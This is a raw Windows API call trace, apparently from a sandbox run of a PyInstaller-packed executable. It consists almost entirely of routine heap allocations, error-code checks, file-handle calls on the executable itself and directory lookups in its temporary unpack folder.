RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x340) returned 0x33ce560 [0075.692] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c319f0, Size=0x250) returned 0x2ac4228 [0075.692] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4228, Size=0x2b4) returned 0x2c2c9f8 [0075.693] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2c9f8, Size=0x324) returned 0x2bab5e0 [0075.693] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x240) returned 0x2a8ee10 [0075.693] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bab5e0, Size=0x3a4) returned 0x2ba7438 [0075.693] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba7438, Size=0x434) returned 0x31d42c0 [0075.693] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d42c0, Size=0x4d4) returned 0x325d878 [0075.694] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325d878, Size=0x588) returned 0x3264ea8 [0075.694] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x580) returned 0x33ce8a8 [0075.694] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3264ea8, Size=0x654) returned 0x3269650 [0075.694] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2b4) returned 0x2c2d250 [0075.695] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3269650 | out: hHeap=0x2ad0000) returned 1 [0075.695] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ef640 | out: hHeap=0x2ad0000) returned 1 [0075.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba50 [0075.695] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba50 | out: hHeap=0x2ad0000) returned 1 [0075.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f30d8 [0075.695] GetCurrentThreadId () returned 0x9b0 [0075.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x3350588 [0075.695] GetCurrentThreadId () returned 0x9b0 [0075.695] GetCurrentThreadId () returned 0x9b0 [0075.695] GetCurrentThreadId () returned 0x9b0 [0075.695] GetCurrentThreadId () returned 0x9b0 [0075.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de8f0 [0075.695] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0075.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de6f8 [0075.695] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de6f8, Size=0x14) returned 0x3183840 [0075.695] GetCurrentThreadId () returned 0x9b0 [0075.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183840 | out: hHeap=0x2ad0000) returned 1 [0075.696] GetCurrentThreadId () returned 0x9b0 [0075.696] GetCurrentThreadId () returned 0x9b0 [0075.696] GetCurrentThreadId () returned 0x9b0 [0075.696] GetCurrentThreadId () returned 0x9b0 [0075.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3350588 | out: hHeap=0x2ad0000) returned 1 [0075.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.696] GetCurrentThreadId () returned 0x9b0 [0075.696] GetCurrentThreadId () returned 0x9b0 [0075.696] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.696] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.696] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334f638 [0075.696] GetCurrentThreadId () returned 0x9b0 [0075.696] GetCurrentThreadId () returned 0x9b0 [0075.696] GetCurrentThreadId () returned 0x9b0 [0075.696] GetCurrentThreadId () returned 0x9b0 [0075.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334f638 | out: hHeap=0x2ad0000) returned 1 [0075.696] GetCurrentThreadId () returned 0x9b0 [0075.696] GetCurrentThreadId () returned 0x9b0 [0075.696] GetCurrentThreadId () returned 0x9b0 [0075.696] GetLastError () returned 0x0 [0075.697] GetLastError () returned 0x0 [0075.697] GetLastError () returned 0x0 [0075.697] GetLastError () returned 0x0 [0075.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84428 | out: hHeap=0x2ad0000) returned 1 [0075.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32aba70 [0075.697] GetLastError () returned 0x0 [0075.697] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b8158, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0075.697] GetFileType (hFile=0x2f4) returned 0x1 [0075.697] GetLastError () returned 0x0 [0075.697] GetCurrentThreadId () returned 0x9b0 [0075.697] GetLastError () returned 0x0 [0075.697] GetFileType (hFile=0x2f4) returned 0x1 [0075.697] GetFileInformationByHandle (in: hFile=0x2f4, lpFileInformation=0x9b81d4 | out: lpFileInformation=0x9b81d4) returned 1 [0075.697] FileTimeToLocalFileTime (in: lpFileTime=0x9b81e8, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.698] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.698] FileTimeToLocalFileTime (in: lpFileTime=0x9b81e0, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.698] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.698] FileTimeToLocalFileTime (in: lpFileTime=0x9b81d8, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.698] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.698] GetLastError () returned 0x0 [0075.698] GetCurrentThreadId () returned 0x9b0 [0075.698] GetLastError () returned 0x0 [0075.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0075.698] GetLastError () returned 0x0 [0075.698] GetLastError () returned 0x0 [0075.698] GetCurrentThreadId () returned 0x9b0 [0075.698] GetLastError () returned 0x0 [0075.699] GetCurrentThreadId () returned 0x9b0 [0075.699] GetLastError () returned 0x0 [0075.699] GetLastError () returned 0x0 [0075.699] GetCurrentThreadId () returned 0x9b0 [0075.699] GetLastError () returned 0x0 [0075.699] GetCurrentThreadId () returned 0x9b0 [0075.699] GetLastError () returned 0x0 [0075.699] GetLastError () returned 0x0 [0075.699] GetCurrentThreadId () returned 0x9b0 [0075.699] GetLastError () returned 0x0 [0075.699] GetCurrentThreadId () returned 0x9b0 [0075.699] GetLastError () returned 0x0 [0075.699] GetLastError () returned 0x0 [0075.699] GetCurrentThreadId () returned 0x9b0 [0075.699] GetLastError () returned 0x0 [0075.699] GetLastError () returned 0x0 [0075.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.700] CloseHandle (hObject=0x2f4) returned 1 [0075.700] GetLastError () returned 0x0 [0075.700] GetCurrentThreadId () returned 0x9b0 [0075.700] GetLastError () returned 0x0 [0075.700] GetLastError () returned 0x0 [0075.700] GetCurrentThreadId () returned 0x9b0 [0075.700] GetLastError () returned 0x0 [0075.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33cee30 | out: hHeap=0x2ad0000) returned 1 [0075.700] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d0a08, Size=0xd4) returned 0x33d0a08 [0075.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844b8 [0075.700] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c844b8, Size=0x20) returned 0x30284e0 [0075.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30284e0 | out: hHeap=0x2ad0000) returned 1 [0075.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d0a08 | out: hHeap=0x2ad0000) returned 1 [0075.701] GetCurrentThreadId () returned 0x9b0 [0075.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x118) returned 0x2c919d0 [0075.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c919d0 | out: hHeap=0x2ad0000) returned 1 [0075.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba50 [0075.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f19e0 [0075.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abae0 [0075.701] GetCurrentThreadId () returned 0x9b0 [0075.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334f1d8 [0075.701] GetCurrentThreadId () returned 0x9b0 [0075.701] GetCurrentThreadId () returned 0x9b0 [0075.701] GetCurrentThreadId () returned 0x9b0 [0075.701] GetCurrentThreadId () returned 0x9b0 [0075.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334f1d8 | out: hHeap=0x2ad0000) returned 1 [0075.701] GetCurrentThreadId () returned 0x9b0 [0075.701] GetCurrentThreadId () returned 0x9b0 [0075.701] GetCurrentThreadId () returned 0x9b0 [0075.701] GetLastError () returned 0x0 [0075.702] GetLastError () returned 0x0 [0075.702] GetLastError () returned 0x0 [0075.702] GetLastError () returned 0x0 [0075.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84620 | out: hHeap=0x2ad0000) returned 1 [0075.702] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32aba70 [0075.702] GetLastError () returned 0x0 [0075.702] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b8158, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0075.702] GetFileType (hFile=0x2f4) returned 0x1 [0075.702] GetLastError () returned 0x0 [0075.702] GetCurrentThreadId () returned 0x9b0 [0075.702] GetLastError () returned 0x0 [0075.702] GetFileType (hFile=0x2f4) returned 0x1 [0075.702] GetFileInformationByHandle (in: hFile=0x2f4, lpFileInformation=0x9b81d4 | out: lpFileInformation=0x9b81d4) returned 1 [0075.702] FileTimeToLocalFileTime (in: lpFileTime=0x9b81e8, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.702] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.702] FileTimeToLocalFileTime (in: lpFileTime=0x9b81e0, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.703] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.703] FileTimeToLocalFileTime (in: lpFileTime=0x9b81d8, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.703] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.703] GetLastError () returned 0x0 [0075.703] GetCurrentThreadId () returned 0x9b0 [0075.703] GetLastError () returned 0x0 [0075.703] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.703] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0075.703] GetLastError () returned 0x0 [0075.703] GetLastError () returned 0x0 [0075.703] GetCurrentThreadId () returned 0x9b0 [0075.703] GetLastError () returned 0x0 [0075.703] GetCurrentThreadId () returned 0x9b0 [0075.703] GetLastError () returned 0x0 [0075.703] GetLastError () returned 0x0 [0075.703] GetCurrentThreadId () returned 0x9b0 [0075.703] GetLastError () returned 0x0 [0075.703] GetCurrentThreadId () returned 0x9b0 [0075.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5a2d) returned 0x33cee30 [0075.704] GetLastError () returned 0x0 [0075.704] GetLastError () returned 0x0 [0075.704] GetCurrentThreadId () returned 0x9b0 [0075.704] GetLastError () returned 0x0 [0075.704] GetCurrentThreadId () returned 0x9b0 [0075.704] GetLastError () returned 0x0 [0075.704] GetLastError () returned 0x0 [0075.704] GetCurrentThreadId () returned 0x9b0 [0075.704] GetLastError () returned 0x0 [0075.704] GetLastError () returned 0x0 [0075.704] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.704] CloseHandle (hObject=0x2f4) returned 1 [0075.704] GetLastError () returned 0x0 [0075.705] GetCurrentThreadId () returned 0x9b0 [0075.705] GetLastError () returned 0x0 [0075.705] GetLastError () returned 0x0 [0075.705] GetCurrentThreadId () returned 0x9b0 [0075.705] GetLastError () returned 0x0 [0075.705] GetLastError () returned 0x0 [0075.705] GetCurrentThreadId () returned 0x9b0 [0075.705] GetLastError () returned 0x0 [0075.705] GetLastError () returned 0x0 [0075.705] GetCurrentThreadId () returned 0x9b0 [0075.705] GetLastError () returned 0x0 [0075.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f8a68 | out: hHeap=0x2ad0000) returned 1 [0075.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d4868 | out: hHeap=0x2ad0000) returned 1 [0075.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33df620, Size=0xf7c5) returned 0x33df620 [0075.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33cee30 | out: hHeap=0x2ad0000) returned 1 [0075.706] GetCurrentThreadId () returned 0x9b0 [0075.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2e5) returned 0x33deaf8 [0075.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84638 [0075.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84638, Size=0x20) returned 0x3028238 [0075.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028238, Size=0x40) returned 0x2a19298 [0075.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19298, Size=0x64) returned 0x2a199d8 [0075.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a199d8, Size=0x8c) returned 0x2ac03b8 [0075.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac03b8, Size=0xb8) returned 0x2cde428 [0075.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cde428, Size=0xe8) returned 0x3259f40 [0075.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3259f40, Size=0x120) returned 0x2c37148 [0075.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37148, Size=0x160) returned 0x325f2a8 [0075.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f2a8, Size=0x1a8) returned 0x30285c8 [0075.707] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30285c8, Size=0x1f8) returned 0x2c305a0 [0075.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x937) returned 0x33cee30 [0075.707] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c305a0, Size=0x250) returned 0x2ac3fc0 [0075.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x777) returned 0x33cf770 [0075.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x697) returned 0x33cfef0 [0075.707] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3fc0, Size=0x2b4) returned 0x2c2cf88 [0075.707] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2cf88, Size=0x324) returned 0x2bac990 [0075.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3cb) returned 0x33d0590 [0075.707] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bac990, Size=0x3a4) returned 0x2ba7070 [0075.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x3420048 [0075.709] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba7070, Size=0x434) returned 0x31d24c8 [0075.709] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d24c8, Size=0x4d4) returned 0x325d370 [0075.709] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325d370, Size=0x588) returned 0x3261aa0 [0075.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x281) returned 0x3460050 [0075.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x826) returned 0x34602e0 [0075.709] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3261aa0, Size=0x654) returned 0x3266f20 [0075.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4d5) returned 0x325dd80 [0075.709] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3266f20, Size=0x738) returned 0x33487c0 [0075.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x324) returned 0x2bab5e0 [0075.710] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33487c0, Size=0x838) returned 0x32e8a80 [0075.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xbfb) returned 0x3460b10 [0075.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e8a80 | out: hHeap=0x2ad0000) returned 1 [0075.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33df620 | out: hHeap=0x2ad0000) returned 1 [0075.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2dc8 [0075.710] GetCurrentThreadId () returned 0x9b0 [0075.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334fbb0 [0075.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334f0c0 [0075.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x33509e8 [0075.710] GetCurrentThreadId () returned 0x9b0 [0075.710] GetCurrentThreadId () returned 0x9b0 [0075.710] GetCurrentThreadId () returned 0x9b0 [0075.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de618 [0075.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de618 | out: hHeap=0x2ad0000) returned 1 [0075.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de6c0 [0075.711] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de6c0, Size=0x18) returned 0x3183940 [0075.711] GetCurrentThreadId () returned 0x9b0 [0075.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183940 | out: hHeap=0x2ad0000) returned 1 [0075.711] GetCurrentThreadId () returned 0x9b0 [0075.711] GetCurrentThreadId () returned 0x9b0 [0075.711] GetCurrentThreadId () returned 0x9b0 [0075.711] GetLastError () returned 0x0 [0075.711] GetLastError () returned 0x0 [0075.711] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pycparser\\ply", lpFindFileData=0x9b8008 | out: lpFindFileData=0x9b8008*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3137420, ftCreationTime.dwHighDateTime=0x3428430, ftLastAccessTime.dwLowDateTime=0x3030540, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x25e4ad, ftLastWriteTime.dwHighDateTime=0x9b8038, nFileSizeHigh=0x9b804c, nFileSizeLow=0x73013d47, dwReserved0=0x9b8044, dwReserved1=0x0, cFileName=",\x81\x9b", cAlternateFileName="")) returned 0xffffffff [0075.711] GetLastError () returned 0x3 [0075.711] GetLastError () returned 0x3 [0075.711] GetLastError () returned 0x3 [0075.711] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pycparser\\ply", nBufferLength=0x104, lpBuffer=0x9b8148, lpFilePart=0x9b7fa0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pycparser\\ply", lpFilePart=0x9b7fa0*="ply") returned 0x39 [0075.712] GetLastError () returned 0x3 [0075.712] GetLastError () returned 0x3 [0075.712] GetLastError () returned 0x3 [0075.712] GetLastError () returned 0x3 [0075.712] GetLastError () returned 0x3 [0075.712] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pycparser", lpFindFileData=0x9b8008 | out: lpFindFileData=0x9b8008*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3137420, ftCreationTime.dwHighDateTime=0x3428430, ftLastAccessTime.dwLowDateTime=0x3030540, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x25e4ad, ftLastWriteTime.dwHighDateTime=0x9b8038, nFileSizeHigh=0x9b804c, nFileSizeLow=0x73013d47, dwReserved0=0x9b8044, dwReserved1=0x0, cFileName=",\x81\x9b", cAlternateFileName="")) returned 0xffffffff [0075.712] GetLastError () returned 0x2 [0075.712] GetLastError () returned 0x2 [0075.712] GetLastError () returned 0x2 [0075.712] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pycparser", nBufferLength=0x104, lpBuffer=0x9b8148, lpFilePart=0x9b7fa0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pycparser", lpFilePart=0x9b7fa0*="pycparser") returned 0x35 [0075.712] GetLastError () returned 0x2 [0075.712] GetLastError () returned 0x2 [0075.712] GetLastError () returned 0x2 [0075.712] GetLastError () returned 0x2 [0075.712] GetLastError () returned 0x2 [0075.713] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", lpFindFileData=0x9b8008 | out: lpFindFileData=0x9b8008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bef987, dwReserved1=0x324, cFileName="_MEI11842", cAlternateFileName="_MEI11~1")) returned 0x1055ba0 [0075.713] FileTimeToLocalFileTime (in: lpFileTime=0x9b801c, lpLocalFileTime=0x9b7fec | out: lpLocalFileTime=0x9b7fec) returned 1 [0075.713] FileTimeToSystemTime (in: lpFileTime=0x9b7fec, lpSystemTime=0x9b7ff4 | out: lpSystemTime=0x9b7ff4) returned 1 [0075.713] FileTimeToLocalFileTime (in: lpFileTime=0x9b8014, lpLocalFileTime=0x9b7fec | out: lpLocalFileTime=0x9b7fec) returned 1 [0075.713] FileTimeToSystemTime (in: lpFileTime=0x9b7fec, lpSystemTime=0x9b7ff4 | out: lpSystemTime=0x9b7ff4) returned 1 [0075.713] FileTimeToLocalFileTime (in: lpFileTime=0x9b800c, lpLocalFileTime=0x9b7fec | out: lpLocalFileTime=0x9b7fec) returned 1 [0075.713] FileTimeToSystemTime (in: lpFileTime=0x9b7fec, lpSystemTime=0x9b7ff4 | out: lpSystemTime=0x9b7ff4) returned 1 [0075.713] FindClose (in: hFindFile=0x1055ba0 | out: hFindFile=0x1055ba0) returned 1 [0075.713] GetLastError () returned 0x2 [0075.713] GetCurrentThreadId () returned 0x9b0 [0075.713] GetCurrentThreadId () returned 0x9b0 [0075.713] GetCurrentThreadId () returned 0x9b0 [0075.713] GetCurrentThreadId () returned 0x9b0 [0075.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33509e8 | out: hHeap=0x2ad0000) returned 1 [0075.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334f0c0 | out: hHeap=0x2ad0000) returned 1 [0075.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334fbb0 | out: hHeap=0x2ad0000) returned 1 [0075.713] GetCurrentThreadId () returned 0x9b0 [0075.713] GetCurrentThreadId () returned 0x9b0 [0075.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334f980 [0075.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x33507b8 [0075.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334f750 [0075.714] GetCurrentThreadId () returned 0x9b0 [0075.714] GetCurrentThreadId () returned 0x9b0 [0075.714] GetCurrentThreadId () returned 0x9b0 [0075.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de928 [0075.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de928 | out: hHeap=0x2ad0000) returned 1 [0075.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de8b8 [0075.714] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de8b8, Size=0x18) returned 0x31839a0 [0075.714] GetCurrentThreadId () returned 0x9b0 [0075.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839a0 | out: hHeap=0x2ad0000) returned 1 [0075.715] GetCurrentThreadId () returned 0x9b0 [0075.715] GetCurrentThreadId () returned 0x9b0 [0075.715] GetCurrentThreadId () returned 0x9b0 [0075.715] GetCurrentThreadId () returned 0x9b0 [0075.715] GetCurrentThreadId () returned 0x9b0 [0075.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334f750 | out: hHeap=0x2ad0000) returned 1 [0075.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33507b8 | out: hHeap=0x2ad0000) returned 1 [0075.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334f980 | out: hHeap=0x2ad0000) returned 1 [0075.715] GetCurrentThreadId () returned 0x9b0 [0075.715] GetCurrentThreadId () returned 0x9b0 [0075.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x3350b00 [0075.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334fcc8 [0075.715] 